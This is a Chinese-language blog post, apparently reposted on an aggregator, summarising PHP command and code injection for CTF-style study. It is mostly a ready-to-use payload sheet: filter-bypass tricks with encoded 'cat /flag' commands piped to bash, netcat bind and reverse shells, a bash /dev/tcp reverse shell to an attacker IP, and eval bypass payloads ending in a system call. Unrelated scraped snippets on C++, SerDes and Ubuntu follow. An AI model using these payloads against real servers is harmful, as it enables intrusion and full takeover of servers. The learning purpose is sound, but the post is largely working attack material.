远程命令/代码执行漏洞(RCE)总结

2023-05-16

介绍

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞危害

    继承Web服务器程序的权限,去执行系统命令
    继承Web服务器程序的权限,读写文件
    反弹shell
    控制整个网站
    甚至控制整个服务器
 

PHP命令执行函数

1. system() :

原型:string system ( string $command [, int &$return_var ] )
与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出)

2. shell_exec():

shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
是反撇号 (`) 操作符的变体.

3. exec():

原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行,如果输出结果有10行,则数组就有10条记录。所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0

4. passthru():

原型:void passthru ( string $command [, int &$return_var ] )
与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。

命令执行的一些绕过技巧

空格被绕过

< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}

关键字绕过

1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过

echo MTIzCg==|base64 -d    其将会打印123         //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh               将执行ls


3.Hex编码绕过

echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")         执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0       执行cat /flag


4.Oct编码绕过

$(printf "\154\163")       执行ls


5.偶读拼接绕过

?ip=127.0.0.1;a=l;b=s;$a$b
?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;


6.内联执行绕过

echo "a`pwd`"          #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`


7.引号绕过

ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php


8.通配符绕过

假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*


9.反斜杠绕过

ca\t  =>  cat
mo\re  =>  more  
in\dex  =>  index
ph\p  =>  php
n\l  =>  nl


10.[]匹配绕过

c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php

无回显的命令执行

NetCat 一句话反弹Shell
获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh-e /bin/bash来进行重定向)
**正向shell:**客户端主动连接服务器并获取服务器shell

客户端主动连接并得到反弹shell	
	nc 服务端ip 8888
服务端监听连接
	nc -Lvp 8888 -e /bin/sh 
	# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe 

**反向shell:**服务器端连接并反弹shell给客户端

客户端监听
nc -Lvp 8888 
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh 
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe 

Bash反弹shell
攻击机

nc -lvp 2333

受害机

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

PHP代码执行函数

代码执行漏洞与命令执行漏洞具有相通性。
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
eval()、assert()、preg_replace()、**${}**等等,以后遇到在继续补充。
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。

注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}、

思维导图:


题目:eval($_GET['m'])
命令执行中关于PHP正则表达式的一些绕过方法_WHOAMIAnony的博客-CSDN博客_php 正则绕过

1.  ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo                       
  //${_GET}{%ff}();&%ff=phpinfo       $a=${a} $array[0]=$array{0}     php>5

2.  (~%8F%97%8F%96%91%99%90)();               php>7(解析小括号内)

3.无参函数的RCE:
payload:eval(hex2bin(session_id(session_start())));    PHP<7较稳定

注:异或/取反部分只能是像函数名这样的字符串

#输出text取反并url编码
def test1(text):
     result = ''
     for i in text:
          temp = hex(int(ord(i))^0xff)
          temp = str(temp).replace('0x','%')
          result += temp
     print(result)

例题:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

payload:

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

参考:远程命令/代码执行漏洞(RCE)总结
 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

远程命令/代码执行漏洞(RCE)总结 的相关文章

  • 构造矩阵乘最优解

    void bracket int i int j if i 61 61 j cout lt lt 34 M 34 lt lt i else cout lt lt 34 34 int k 61 K i j bracket i k 1 brac
  • vs2012 出现LINK : fatal error LNK1104: 无法打开文件“kernel32.lib”问题

    首先 xff0c 我是在已经安装了vs2010的基础上安装的vs2012 xff0c 测试安装的时候发现最基本的helloworld程序都通不过 xff0c 出现LINK fatal error LNK1104 无法打开文件 kernel3
  • SerDes知识详解

    一 SERDES的作用 1 1并行总线接口 在 SerDes流行之前 芯片之间的互联通过 系统同步或者源同步的并行接口传输数据 图 1 1 演示了系统和源同步并行接口 随着接口频率的提高 xff0c 在系统同步接口方式中 有几个因素限制了有
  • enum : C#中的枚举类型,原来有这么多用法

    今天来的时候打开了MSDN扫了一眼C 里的枚举类型 蓦然发现这东西还有些新玩法 首先是简单介绍 xff0c 在此略过 因为enum用法很简单么 定义一个简单的枚举类型 xff1a enum Days Sat Sun Mon Tue Wed
  • ubuntu下安装cuDNN

    正确的安装cuDNN方式 xff0c 其实跟着官方安装说明进行安装就可以了 1 从https developer nvidia com cudnn上下载cudnn相应版本的压缩包 xff08 需要注册或登录 xff09 下载cuda对应版本
  • 面向对象(3)

    私有权限 封装的意义 xff1a 将属性和方法放到一起做为一个整体 xff0c 然后通过实例化对象来处理 xff1b 隐藏内部实现细节 xff0c 只需要和对象及其属性和方法交互就可以了 xff1b 对类的属性和方法增加 访问权限控制 私有
  • 【vnc远程桌面】未联网状态下使用离线包配置vnc

    系统为ubuntu18 04 amd64版本 本教程使用vino配置远程服务器 首先 xff0c 离线安装vino包后远程传输给待控制服务器 xff1a sudo apt update sudo apt get download apt c
  • 7.用选择排序法对一个数组进行排序。

    include lt stdio h gt define N 5 void datesort int a int i j k temp for i 61 0 i lt N 1 i 43 43 k 61 i for j 61 i 43 1 j
  • error while loading shared libraries: xxx.so.x"错误的原因和解决办法

    一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误 比如 tmux error while loading shared libraries libevent 1 4 so 2 cannot open shared o
  • Linux终端进度条显示进程执行进度

    在Linux执行费时操作 xff08 如tar xff09 时显示进度条 xff0c 以不至于让用户觉得程序卡死了 效果 文本进度条 结束后 xff1a 图形化字符进度条 文本进度条怎么做 进度条实现 网上有一些老六会说要下载一些工具 xf

随机推荐

  • 判断页面相似度的python实现

    判断页面相似度的python实现 xff1a 两天时间实现了一小部分 xff0c 大量其实是xpath解析以及字符串和文件操作 xff0c 性能还需要改善 xff0c 下面说一下步骤 xff1a 动态获取DOM树结构 xff1a 因为主要是
  • Win10下VScode+MSVC+CMake搭建C++开发环境

    最近工作需要大规模C 43 43 开发 xff0c 以往都是使用Visual Studio xff08 以下简称VS xff09 xff0c 虽然VS是一款很强大的IDE xff0c 但也同样带来过于庞大 xff0c 运行卡顿等问题 xff
  • iOS 表视图

    基本概念 1 表头视图 xff08 table header view xff09 表视图最上边的视图 xff0c 用于展示表视图的信息 2 表脚视图 xff08 table footer view xff09 表视图最下面的视图 xff0
  • ISBN从10到13位的算法

    图书的ISBN有两种编码 xff0c 一种长度是10位的 xff0c 另一种是13位的 两者其实是可以用特定的算法相互推导的 xff0c 关键在于最后一位校验码的计算 1 10位到13位 10位的isbn编号是7111165616 xff0
  • 阿里云服务器(ECS)实战--安全组策略配置(端口放行)

    什么是阿里云安全组策略 xff1f 阿里云安全组是一种虚拟防火墙 也是阿里云处于安全考虑的一种策略 一台ECS云服务器实例必须至少属于一个安全组 我们知道服务器的各种服务要依赖端口来实现 我们可以将安全组想象成服务器各个端口的开关 默认创建
  • 字符串的排序(全排序)

    一 前言 剑指Offer 中题38 二 题目 输入一个字符串 xff0c 打印出该字符串中字符的所有排列 例如 xff0c 输入字符串abc xff0c 则打印出由字符a b c所能排列出来的所有字符串abc xff0c acb xff0c
  • 自己总结的一些c语言概念 练习题

    c语言的一些基础概念 局部变量的作用域为局部变量所在的局部范围 xff0c 局部变量优于全局变量 举例如下 xff1a span class token keyword int span num span class token opera
  • iOS本地搜索(谓词)

    Use Code 默认搜索 64 param fieldArray 搜索字段数组 64 param inputString 输入文字 64 param array 搜索数据源 64 return 搜索结果 NSArray searchWit
  • zabbix 发送邮件和短信的脚本

    对接sms和监控的脚本 xff0c 其实原理很简单 xff0c zabbix会通过参数的方式传送给脚本三个参数 1 user 2 subject 3 message body 然后通过curl 通过get的方式提交网页就ok了 bin ba
  • gcc/clang编译带pthread.h头文件的源码时需要的参数

    今天敲了一个小程序 xff0c 编译时出现错误 xff1a undefined reference pthread create 原来由于pthread库不是Linux系统默认的库 xff0c 连接时需要使用库libpthread a 所以
  • python 让cpu满载

    今天弄监控报警阈值 xff0c 想要让一台linux主机满载 xff0c 却发现这个很简单的任务实现起来很难 首先从网上下载的各种bench xff0c 基本全都运行不了 在不就是无法让cpu满载 xff0c 晚上看python想起来了与来
  • windows server 服务器搭建AD、Exchange 2010

    0x01 关于windows server 在vsphere 虚拟化环境中搭建win 服务器 xff0c 并安装exchange 通过这次对win的服务器配置 xff0c 多少对win系服务有了一些了解 在win中每一种服务都能以一种集群式
  • python国内镜像站

    pipy国内镜像目前有 xff1a http pypi douban com 豆瓣 http pypi hustunique com 华中理工大学 http pypi sdutlinux org 山东理工大学 http pypi mirro
  • 能不用yum安装就不用yum装

    能不用yum安装就不用yum装 xff01 能不用yum安装就不用yum装 xff01 能不用yum安装就不用yum装 xff01 重要的事情说三遍
  • zabbix 使用JMX 监控tomcat

    JMX Java Management Extensions 是java提供的一种管理接口 xff0c 通常使用JMX来监控系统的运行状态或管理系统的某些方面 xff0c 比如清空缓存 重新加载配置文件等 百度百科介绍 xff1a JMX
  • python 核心编程第二版 9-9

    原题 xff1a 进入python标准库所在的目录 检查每个 py 文件看是否有doc xff0c 如果有 xff0c 对其格式进行适当的整理归类 你的程序执行完毕后 xff0c 应该生成一个漂亮的清单 里边列出哪些模块有文档字符串 xff
  • 源码安装python后,运行某些模块提示缺少libpython2.7.so

    源码安装python后 xff0c 运行某些模块提示缺少libpython2 7 so 造成这个问题的原因是使用 configure 时没有附加 enable shared 编译时使用如下命令编译 span class hljs strin
  • 2021/04/28 前端post请求传数组

    背景 xff1a 后端需要这种格式的数据 xff0c 接口文档要求如下 我也是第一次见 xff0c 后端说这叫 xff0c post一个表单数组 xff0c 原来的项目里有现成的 xff0c 参考如下 网上看 xff0c 这种描述大致是 x
  • 树莓派3B+,Lubuntu16.04安装vscode个人经验总结

    个人经验总结 xff0c 如有更好办法 xff0c 还请不吝赐教 xff01 适合树莓派3B 43 的ubuntu16 04 43 ROS Kinetic系统下载网址 xff1a https learn ubiquityrobotics c
  • 远程命令/代码执行漏洞(RCE)总结

    介绍 Command Injection xff0c 即命令注入 xff0c 是指通过提交恶意构造的参数破坏命令语句结构 xff0c 从而达到执行恶意命令的目的 PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一 当应用需要调用一些